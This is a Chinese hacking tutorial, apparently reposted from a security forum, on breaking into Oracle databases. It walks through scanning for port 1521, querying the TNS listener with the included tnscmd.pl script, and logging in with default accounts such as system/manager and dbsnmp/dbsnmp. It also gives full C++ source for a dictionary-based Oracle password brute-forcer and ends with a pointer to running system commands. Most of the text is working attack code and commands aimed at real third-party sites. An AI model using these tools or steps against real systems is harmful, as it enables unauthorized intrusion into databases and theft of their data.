手机
当前位置:查字典教程网 >编程开发 >黑客相关 >入侵oracle数据库的一些技巧
入侵oracle数据库的一些技巧
摘要:软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权信息来源:邪恶八进制信息安全团队(www.eviloctal.c...

软件作者:pt007[at]vip.sina.com版权所有,转载请注明版权

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)

一、先看下面的一个贴子:

Oracle数据库是现在很流行的数据库系统,很多大型网站都采用Oracle,它之所以倍受用户喜爱是因为它有以下突出的特点:

1、支持大数据库、多用户的高性能的事务处理。Oracle支持最大数据库,其大小可到几百千兆,可充分利用硬件设备。支持大量用户同时在同一数据上执行各种数据应用,并使数据争用最小,保证数据一致性。系统维护具有高的性能,Oracle每天可连续24小时工作,正常的系统操作(后备或个别计算机系统故障)不会中断数据库的使用。可控制数据库数据的可用性,可在数据库级或在子数据库级上控制。

2、Oracle遵守数据存取语言、操作系统、用户接口和网络通信协议的工业标准。所以它是一个开放系统,保护了用户的投资。美国标准化和技术研究所(NIST)对Oracle7SERVER进行检验,100%地与ANSI/ISOSQL89标准的二级相兼容。

3、实施安全性控制和完整性控制。Oracle为限制各监控数据存取提供系统可靠的安全性。Oracle实施数据完整性,为可接受的数据指定标准。

4、支持分布式数据库和分布处理。Oracle为了充分利用计算机系统和网络,允许将处理分为数据库服务器和客户应用程序,所有共享的数据管理由数据库管理系统的计算机处理,而运行数据库应用的工作站集中于解释和显示数据。通过网络连接的计算机环境,Oracle将存放在多台计算机上的数据组合成一个逻辑数据库,可被全部网络用户存取。分布式系统像集中式数据库一样具有透明性和数据一致性。

具有可移植性、可兼容性和可连接性。由于Oracle软件可在许多不同的操作系统上运行,以致Oracle上所开发的应用可移植到任何操作系统,只需很少修改或不需修改。Oracle软件同工业标准相兼容,包括很多工业标准的操作系统,所开发应用系统可在任何操作系统上运行。可连接性是指ORALCE允许不同类型的计算机和操作系统通过网络可共享信息。

虽然Oracle数据库具有很高的安全性,但是如果我们在配置的时候不注意安全意识,那么也是很危险的。也就是说,安全最主要的还是要靠人自己,而不能过分依赖软件来实现。

我们知道,在mssql中,安装完成后默认有个sa的登陆密码为空,如果不更改就会产生安全漏洞。那么oracle呢?也有的。为了安装和调试的方便,Oracle数据库中的两个具有DBA权限的用户Sys和System的缺省密码是manager。笔者发现很多国内网站的Oracle数据库没有更改这两个用户的密码,其中也包括很多大型的电子商务网站,我们就可以利用这个缺省密码去找我们感兴趣的东西。如何实现,看下面的文章吧。

进行测试前我们先来了解一些相关的知识,我们连接一个Oracle数据库的时候,需要知道它的service_name或者是Sid值,就象mssql一样,需要知道数据库名。那如何去知道呢,猜?呵呵,显然是不行的。这里我们先讲讲oracle的TNSlistener,它位于数据库Client和数据库Server之间,默认监听1521端口,这个监听端口是可以更改的。但是如果你用一个tcp的session去连接1521端口的话,oracle将不会返回它的banner,如果你输入一些东西的话,它甚至有可能把你踢出去。这里我们就需要用tnscmd.pl这个perl程序了,它可以查询远程oracle数据库是否开启(也就是ping了),查询版本,以及查询它的服务名,服务状态和数据库服务名,而且正确率很高。

理论方面的讲完了,如果还有什么不懂的可以去查找相关资料。现在开始测试吧,需要的工具有:ActivePerl,Oracle客户端,Superscan或者是其它扫描端口的软件,Tnscmd.pl。

我们先用Superscan扫描开放了端口1521的主机,假设其IP是xx.xx.110.110,这样目标已经有了。然后我们要做的就是用Tnscmd.pl来查询远程数据库的服务名了,Tnscmd.pl的用法如下:

C:perlbin>perltnscmd.pl

usage:tnscmd.pl[command]-hhostname

where'command'issomethinglikeping,version,status,etc.

(defaultisping)

[-pport]-alternateTCPporttouse(defaultis1521)

[--logfilelogfile]-writerawpacketstospecifiedlogfile

[--indent]-indent&outdentonparens

[--rawcmdcommand]-buildyourownCONNECT_DATAstring

[--cmdsizebytes]-fakeTNScommandsize(revealspacketleakage)

我们下面用的只有简单的几个命令,其他的命令也很好用,一起去发掘吧。

然后我们就这样来:

C:perlbin>perltnscmd.plservices-hxx.xx.110.110-p1521–indent

sending(CONNECT_DATA=(COMMAND=services))toxx.xx.110.110:1521

writing91bytes

reading

._.......6.........?...........

DESCRIPTION=

TMP=

VSNNUM=135286784

ERR=0

SERVICES_EXIST=1

.Q........

SERVICE=

SERVICE_NAME=ORCL

INSTANCE=

INSTANCE_NAME=ORCL

NUM=1

INSTANCE_CLASS=ORACLE

HANDLER=

HANDLER_DISPLAY=DEDICATEDSERVER

STA=ready

HANDLER_INFO=LOCALSERVER

HANDLER_MAXLOAD=0

HANDLER_LOAD=0

ESTABLISHED=447278

REFUSED=0

HANDLER_ID=8CA61D1BBDA6-3F5C-E030-813DF5430227

HANDLER_NAME=DEDICATED

ADDRESS=

PROTOCOL=beq

PROGRAM=/home/oracle/bin/oracle

ENVS='ORACLE_HOME=/home/oracle,ORACLE_SID=ORCL'

ARGV0=oracleORCL

ARGS='

LOCAL=NO

'

.........@

从上面得到的信息我们可以看出数据库的服务名为ORCL,然后我们就可以通过sqlplus工具来远程连上它了,用户名和密码我们用默认的system/manager或者是sys/manager,其他的如mdsys/mdsys,ctxsys/ctxsys等,这个默认用户和密码是随版本的不同而改变的。如下:

C:oracleora90BIN>sqlplus/nolog

SQL*Plus:Release9.0.1.0.1-ProductiononThuMay2311:36:592002

(c)Copyright2001OracleCorporation.Allrightsreserved.

SQL>connectsystem/manager@

(description=(address_list=(address=(protocol=tcp)

(host=xx.xx.110.110)(port=1521)))

(connect_data=(SERVICE_NAME=ORCL)));

如果密码正确,那么就会提示connected,如果不行,再换别的默认用户名和密码。经过笔者的尝试一般用dbsnmp/dbsnmp都能进去。当然如果对方已经把默认密码改了,那我们只能换别的目标了。但是我发现很多都是不改的,这个就是安全意识的问题了。

二、上面提到的两个小软件:

tnscmd.pl

Copycode

#!/usr/bin/perl

#

#tnscmd-alametooltoprodtheoracletnslsnrprocess(1521/tcp)

#testedunderLinuxx86&OpenBSDSparc+perl5

#

#Initialcruft:[email]jwa@jammed.com[/email]5Oct2000

#

#$Id:tnscmd,v1.32001/04/2606:45:48jwaExp$

#

#seealso:

#[url]http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html[/url]

#[url]http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818[/url]

#[url]http://otn.oracle.com/deploy/security/alerts.htm[/url]

#[url]http://xforce.iss.net/alerts/advise66.php[/url]

#

#GPL'd,ofcourse.[url]http://www.gnu.org/copyleft/gpl.html[/url]

#

#$Log:tnscmd,v$

#Revision1.32001/04/2606:45:48jwa

#typoinurl.whoops.

#

#Revision1.22001/04/2606:42:17jwa

#completerewrite

#-useIO::Socketinsteadoftcp_open

#-gotridofpdump()

#-putpacketinto@listandbuilditwithpack()

#-added--indentoption

#

#

useIO::Socket;

usestrict;#agrumpyperlinterpreterisyourfriend

select(STDOUT);$|=1;

#

#processarguments

#

my($cmd)=$ARGV[0]if($ARGV[0]!~/^-/);

my($arg);

while($arg=shift@ARGV){

$main::hostname=shift@ARGVif($argeq"-h");

$main::port=shift@ARGVif($argeq"-p");

$main::logfile=shift@ARGVif($argeq"--logfile");

$main::fakepacketsize=shift@ARGVif($argeq"--packetsize");

$main::fakecmdsize=shift@ARGVif($argeq"--cmdsize");

$main::indent=1if($argeq"--indent");

$main::rawcmd=shift@ARGVif($argeq"--rawcmd");

$main::rawout=shift@ARGVif($argeq"--rawout");

}

if($main::hostnameeq""){

print<<_EOF_;

usage:$0[command]-hhostname

where'command'issomethinglikeping,version,status,etc.

(defaultisping)

[-pport]-alternateTCPporttouse(defaultis1521)

[--logfilelogfile]-writerawpacketstospecifiedlogfile

[--indent]-indent&outdentonparens

[--rawcmdcommand]-buildyourownCONNECT_DATAstring

[--cmdsizebytes]-fakeTNScommandsize(revealspacketleakage)

_EOF_

exit(0);

}

#withnocommands,defaulttopingingport1521

$cmd="ping"if($cmdeq"");

$main::port=1521if($main::porteq"");#1541,1521..DBAsaresowhimsical

#

#main

#

my($command);

if(defined($main::rawcmd))

{

$command=$main::rawcmd;

}

else

{

$command="(CONNECT_DATA=(COMMAND=$cmd))";

}

my$response=tnscmd($command);

viewtns($response);

exit(0);

#

#buildthepacket,openthesocket,sendthepacket,returntheresponse

#

subtnscmd

{

my($command)=shift@_;

my($packetlen,$cmdlen);

my($clenH,$clenL,$plenH,$plenL);

my($i);

print"sending$commandto$main::hostname:$main::portn";

if($main::fakecmdsizene"")

{

$cmdlen=$main::fakecmdsize;

print"Fakingcommandlengthto$cmdlenbytesn";

}

else

{

$cmdlen=length($command);

}

$clenH=$cmdlen>>8;

$clenL=$cmdlen&0xff;

#calculatepacketlength

if(defined($main::fakepacketsize))

{

print"Fakingpacketlengthto$main::fakepacketsizebytesn";

$packetlen=$main::fakepacketsize;

}

else

{

$packetlen=length($command)+58;#"preamble"is58bytes

}

$plenH=$packetlen>>8;

$plenL=$packetlen&0xff;

$packetlen=length($command)+58if(defined($main::fakepacketsize));

#decimaloffset

#0:packetlen_highpacketlen_low

#26:cmdlen_highcmdlen_low

#58:command

#thepacket.

my(@packet)=(

$plenH,$plenL,0x00,0x00,0x01,0x00,0x00,0x00,

0x01,0x36,0x01,0x2c,0x00,0x00,0x08,0x00,

0x7f,0xff,0x7f,0x08,0x00,0x00,0x00,0x01,

$clenH,$clenL,0x00,0x3a,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00,0x00,0x00,0x34,0xe6,0x00,0x00,

0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,

0x00,0x00

);

for($i=0;$i<length($command);$i++)

{

push(@packet,ord(substr($command,$i,1)));

}

my($sendbuf)=pack("C*",@packet);

print"connect";

my($tns_sock)=IO::Socket::INET->new(

PeerAddr=>$main::hostname,

PeerPort=>$main::port,

Proto=>'tcp',

Type=>SOCK_STREAM,

Timeout=>30)||die"connectto$main::hostnamefailure:$!";

$tns_sock->autoflush(1);

print"rwriting".length($sendbuf)."bytesn";

if(defined($main::logfile))

{

open(SEND,">$main::logfile.send")||die"can'twrite$main::logfile.send:$!";

printSEND$sendbuf||die"writetologfilefailed:$!";

close(SEND);

}

my($count)=syswrite($tns_sock,$sendbuf,length($sendbuf));

if($count!=length($sendbuf))

{

print"onlywrote$countbytes?!";

exit1;

}

print"readingn";

#getfundata

#1st12byteshavesomemeaningwhichsofareludesme

if(defined($main::logfile))

{

open(REC,">$main::logfile.rec")||die"can'twrite$main::logfile.rec:$!";

}

my($buf,$recvbuf);

#readuntilsocketEOF

while(sysread($tns_sock,$buf,128))

{

printREC$bufif(defined($main::logfile));

$recvbuf.=$buf;

}

close(REC)if(defined($main::logfile));

close($tns_sock);

return$recvbuf;

}

subviewtns

{

my($response)=shift@_;

#shouldhaveahexdumpoption...

if($main::raw)

{

print$response;

}

else

{

$response=~tr/200-377/00-177/;#striphighbits

$response=~tr/00-27/./;

$response=~tr/177/./;

if($main::indent)

{

parenify($response);

}

else

{

print$response;

}

print"n";

}

}

subparenify

{

my($buf)=shift@_;

my($i,$c);

my($indent,$o_indent);

for($i=0;$i<length($buf);$i++)

{

$c=substr($buf,$i,1);

$indent++if($ceq"(");

$indent--if($ceq")");

if($indent!=$o_indent)

{

print"n"unless(substr($buf,$i+1,1)eq"(");

print""x$indent;

$o_indent=$indent;

undef$c;

}

print$c;

}

}

Copycode

/*用链表实现的oracle密码暴破程序,需要在本地安装oralce*/

#defineWIN32_LEAN_AND_MEAN

#ifdefined(_WIN32)||defined(_WIN64)

#include<windows.h>

#include<Tchar.h>

#endif

#include<winsock2.h>

#include<stdio.h>

#include<stdlib.h>

#include<lmcons.h>

#include<winnetwk.h>

#include<time.h>

#include<stdlib.h>

#include<stdlib.h>

#include<iostream>

#include<occi.h>

#pragmacomment(lib,"oraocci9.lib")//链接到oraocci9.lib库

//#pragmacomment(lib,"msvcrt.lib")

#pragmacomment(lib,"msvcprt.lib")

//链接到WS2_32.LIB库:

#pragmacomment(lib,"Ws2_32.lib")

//#pragmacomment(lib,"liboracle.lib")

chartarget[40]={0};//目标服务器

charport[40]={0};//SQL端口号

chardb[40]={0};//数据库名

//定义链表:

typedefstructPassNode{

TCHARpassword[100];

structPassNode*Next;

}PassInfo;

typedefstructNameNode{

TCHARName[100];

structNameNode*Next;

}NameInfo;//定义NameInfo来表示NameNode结构

//

//函数SQLCheck

//功能:尝试用不同密码连接SQLServer,探测出正确的密码

//

DWORDWINAPISQLCheck(PVOIDpPwd,PVOIDuUserName)

{

//定义局部变量

charszBuffer[1025]={0};

char*pwd=NULL,*UserName=NULL;

charDataBase[255]={0};

//char*user=NULL;

//取得传递过来准备探测的密码

pwd=(char*)pPwd;

UserName=(char*)uUserName;

//DataBase=(char*)db;

sprintf(DataBase,"(description=(address_list=(address=(protocol=tcp)(host=%s)(port=%s)))(connect_data=(SERVICE_NAME=%s)))",target,port,db);

//printf("DataBase=%sn",DataBase);

usingnamespacestd;

usingnamespaceoracle::occi;

Environment*env=Environment::createEnvironment(Environment::DEFAULT);

try{

Connection*conn=env->createConnection(UserName,pwd,(char*)DataBase);

if(conn)

{printf("n");

cout<<"SUCCESS-createConnection"<<endl;

//连接远程oracleServer数据库成功

return1;

}

else

cout<<"FAILURE-createConnection"<<endl;

return0;

/*Statement*stmt=conn->createStatement("select*fromemp");

ResultSet*rset=stmt->executeQuery();

while(rset->next()){

cout<<"theempnois:"<<rset->getInt(1)<<endl;

cout<<"theenameis:"<<rset->getString(2)<<endl;

}*/

//stmt->closeResultSet(rset);

//conn->terminateStatement(stmt);

env->terminateConnection(conn);

}catch(SQLExceptionex)

{

//printf("n");

cout<<ex.getMessage();

return0;

}

Environment::terminateEnvironment(env);

return0;

}

voidusage(){

printf("name:oraclepasswordcrackv1.0n");

printf("author:pt007@vip.sina.comnn");

fprintf(stdout,"usage:oracle_pwd_crack[ip][options]n");

printf("options:n"

"t-xportspecifytheportoforaclen"

"t-uusernamespecifytheusernameoforaclen"

//"t-ppasswordspecifythepasswordoforaclen"

"t-ddictspecifythedictionaryn"

"t-idatabasespecifythedatabase'snamen"

//"t-aautomodeautomaticcracktheoraclepasswordn"

//"tNote:whenuusethe-aoption,namedtheusernamedictuser.dicn"

//"tpassworddictpass.dicn"

);

printf("nexample:oracle_pwd_crack127.0.0.1-x1521-usql_user.dic-dpass.dic-iPLSExtProcn");

exit(1);

}

//创建密码链表:

PassInfo*Create_Pass_link(intNodeNum,FILE*DictFile){

/*readdatafrompassworddictionary,initthelink*/

TCHAR*szTempPass=NULL;

PassInfo*h,*p,*s;/**hpointtoheadnode,*ppointtotheprenode,

*spointtothecurrentnode*/

inti;/*counter*/

//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(PassInfo)"字节的连续区域,函数的返回值为该区域的首地址:

if((h=(PassInfo*)malloc(sizeof(PassInfo)))==NULL)

{

fprintf(stderr,"mallocfailed%d",GetLastError());

exit(0);

}/*createtheheadnode*/

/*inittheheadnode*/

h->Next=NULL;

p=h;

for(i=0;i<NodeNum;i++)//下面是建立链表,每个密码对应一个结点:

{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass

szTempPass=(TCHAR*)calloc(100,sizeof(TCHAR));

ZeroMemory(szTempPass,100);

if((s=(PassInfo*)malloc(sizeof(PassInfo)))==NULL)

{

fprintf(stderr,"mallocfailed%d",GetLastError());

exit(0);

}

memset(s->password,'',100);

fgets(szTempPass,100,DictFile);

strncpy(s->password,szTempPass,strlen(szTempPass)-1);

s->Next=NULL;//删除一个结点

p->Next=s;//链表指针指向下一个结构地址

p=s;//下一个结构的数据域赋值

free(szTempPass);//释放内存空间

}

returnh;//返回链表的头结点,它存放有第一个结点的首地址,没有数据

}

//创建用户名链表:

NameInfo*Create_Name_link(intNodeNum,FILE*DictFile){

/*readdatafrompassworddictionary,initthelink*/

TCHAR*szTempName=NULL;

NameInfo*h,*p,*s;/**hpointtoheadnode,*ppointtotheprenode,

*spointtothecurrentnode*/

inti;/*counter*/

//分配内存空间在内存的动态存储区中分配一块长度为"sizeof(NameInfo)"字节的连续区域,函数的返回值为该区域(此处为NameInfo结构的首地址)的首地址::

if((h=(NameInfo*)malloc(sizeof(NameInfo)))==NULL)

{

fprintf(stdout,"mallocfailed%d",GetLastError());

exit(0);

}/*createtheheadnode*/

/*inittheheadnode*/

h->Next=NULL;//删除下一个结点

p=h;//p里面目前指向头结点

for(i=0;i<NodeNum;i++)

{//按sizeof(TCHAR)的长度分配100块连续的区域,并把指向TCHAR类型指针的首地址赋予指针变量szTempPass:

szTempName=(TCHAR*)calloc(100,sizeof(TCHAR));

ZeroMemory(szTempName,100);//字符串类型变量清0

if((s=(NameInfo*)malloc(sizeof(NameInfo)))==NULL)

{

fprintf(stdout,"mallocfailed%d",GetLastError());

exit(0);

}

memset(s->Name,'',100);

fgets(szTempName,100,DictFile);

strncpy(s->Name,szTempName,strlen(szTempName)-1);

s->Next=NULL;

p->Next=s;//p指向下一个结点的地址

p=s;//下一个结构的数据域赋值

free(szTempName);

}

returnh;

}

intLineCount(FILE*fd)//返回字典中的密码数量

{

intcountline=0;

chardata[100]={0};//字符数组清0

while(fgets(data,100,fd))//从指定的文件中读一个字符串到字符数组中

countline++;

rewind(fd);//指针返回到文件起始处

returncountline;

}

BOOLIsPortOpen(char*address,intport)

{

intrecv=1;

WSADATAwsadata;

intfd;

structsockaddr_inclientaddress;

structhostent*host1;

BOOLResult=FALSE;

structtimevaltimer4;

fd_setwritefd;//检查数据是否可写

ULONGvalue=1;

//初使化winsock版本1.1:

recv=WSAStartup(MAKEWORD(1,1),&wsadata);

if(recv!=0)

{

printf("initfailed%d.n",WSAGetLastError());

return(0);

}

if(LOBYTE(wsadata.wVersion)!=1||

HIBYTE(wsadata.wVersion)!=1){

/*Telltheuserthatwecouldn'tfindauseable*/

/*winsock.dll.*/

WSACleanup();

return(0);

}

//创建socket套接字连接:

fd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);

if(fd<0)

{

printf("[-]Createsocketerror%d.n",WSAGetLastError());

return(0);

}

//将套接字fd设为非阻塞模式的方法:

ioctlsocket(fd,FIONBIO,&value);

if(!(host1=gethostbyname(address))){

printf("[-]Gethostbyname(%s)error%d.n",address,WSAGetLastError());

return(0);

}

memset(&clientaddress,0,sizeof(structsockaddr));

clientaddress.sin_family=AF_INET;//Ipv4地址族

clientaddress.sin_port=htons((unsignedshort)port);

clientaddress.sin_addr=*((structin_addr*)host1->h_addr);

timer4.tv_sec=5;//以秒为单位指定等待时间

timer4.tv_usec=0;

FD_ZERO(&writefd);

FD_SET(fd,&writefd);//将套接字fd增添到writefd写集合中进行测试

recv=connect(fd,(structsockaddr*)&clientaddress,sizeof(structsockaddr));

if(FD_ISSET(fd,&writefd))

{

recv=select(fd+1,NULL,&writefd,NULL,&timer4);//测试5秒钟内是否有数据写入

if(recv>0)

Result=TRUE;

}

closesocket(fd);

WSACleanup();

returnResult;

}

intmain(intargc,char**argv)

{

PassInfo*head,*curr=NULL;

NameInfo*headnode,*currnode=NULL;

intnamecount=0,passcount=0;

/////////////////////////////////////////////////////////////////////////////////////////////

//dealwiththecommandline

//

/////////////////////////////////////////////////////////////////////////////////////////////

//参数不为8个的时候打印帮助

if(argc!=10)

usage();

if(argc==10)

{

if(strcmpi(argv[2],"-x"))

usage();

if(strcmpi(argv[4],"-u"))

usage();

if(strcmpi(argv[6],"-d"))

usage();

if(strcmpi(argv[8],"-i"))

usage();

}

/*determinatewhethertheoracleportisopen*/

if(!IsPortOpen(argv[1],atoi(argv[3])))

{

printf("error:Can'tconnectto%s:%dn",argv[1],atoi(argv[3]));

exit(0);

}

////////////////////////////////////////////////////////////////////////////////////////////

//specifiytheusername

//////////////////////////////////////////////////////////////////////////////////////////////

//取得目标地址和端口号:

strcpy(target,argv[1]);

strcpy(port,argv[3]);

strcpy(db,argv[9]);

if(!strcmpi(argv[4],"-u"))

{

/*openthepassworddictionary*/

FILE*passdic=NULL;

if((passdic=fopen(argv[7],"r"))==NULL){

fprintf(stdout,"Can'topenthepassworddictionaryn");

exit(0);

}

/*countlineofnamedictionary*/

passcount=LineCount(passdic);//计算密码的数量

head=Create_Pass_link(passcount,passdic);/*createthepasswordlink*/

curr=head->Next;//指向第一个结点

/*openthepassworddictionary*/

FILE*Namedict=NULL;

if((Namedict=fopen(argv[5],"r"))==NULL){

fprintf(stderr,"Can'topenthenamedictionaryn");

exit(0);

}

/*密码最终保存文件*/

FILE*passtxt=NULL;

if((passtxt=fopen("pass.txt","at+"))==NULL){

fprintf(stdout,"Can'twritepass.txtfile!n");

exit(0);

}

/*countlineofnamedictionary*/

namecount=LineCount(Namedict);//计算用户名数量

headnode=Create_Name_link(namecount,Namedict);/*createuserlink*/

currnode=headnode->Next;

intj=0,i=1;

while(currnode!=NULL)//为NULL表示姓名链表结束

{

printf("n开始第%d位用户%s测试:n",++j,currnode->Name);

while(curr!=NULL)//为NULL表示密码链表结束

{

printf("Nowcracking%s->%sn",currnode->Name,curr->password);

fflush(NULL);

intCracked=0;

Cracked=SQLCheck(curr->password,currnode->Name);

if(Cracked==1)

{

printf("%d.Successfully:oracleserver%s'susername[%s]password[%s]n",j,target,currnode->Name,curr->password);

fseek(passtxt,0L,SEEK_END);//移动到文件尾部

fprintf(passtxt,"%d.Successfully:oracleserver%s'susername[%s]password[%s]rn",i++,target,currnode->Name,curr->password);

//exit(0);发现一个密码就退出

break;

}

curr=curr->Next;//移动到下一个结点

Sleep(100);//暂停100ms,即0.1s

}/*startingcracktheoraclepassword*/

currnode=currnode->Next;

curr=head->Next;//移到密码链表的第一个结点

}

printf("nn密码猜解结束:n本次共猜解了%d位用户,%d个密码!n",namecount,passcount);

printf("请使用"typepass.txt"来查看当前目录下的pass.txt文件!n");

fprintf(passtxt,"rnrn");

fclose(passdic);

fclose(Namedict);

fclose(passtxt);

free(head);

}

return0;

}

三、利用弱口令进行入侵:

C:>sqlplus/nolog

SQL>connectsystem/manager@(description=(address_list=(address=(protocol=tcp)(host=www.xx.com)(port=1521)))(connect_data=(SERVICE_NAME=ora9i)));

然后利用OracleExecuteCommandSqlScript来执行系统命令

【入侵oracle数据库的一些技巧】相关文章:

揭开面纱看看黑客用哪些工具(2)

渗透中用openrowset搞shell的方法

几款黑客工具的使用方法

IP和MAC捆绑的破解

PHPSHELL又出新东东啦!

恶意代码与网络安全

如何成为一名黑客全系列说明第1/2页

Discuz! 4.x SQL injection / admin credentials disclosure exploit

ADSL入侵的防范

Win32 下病毒设计入门详细说明

精品推荐
分类导航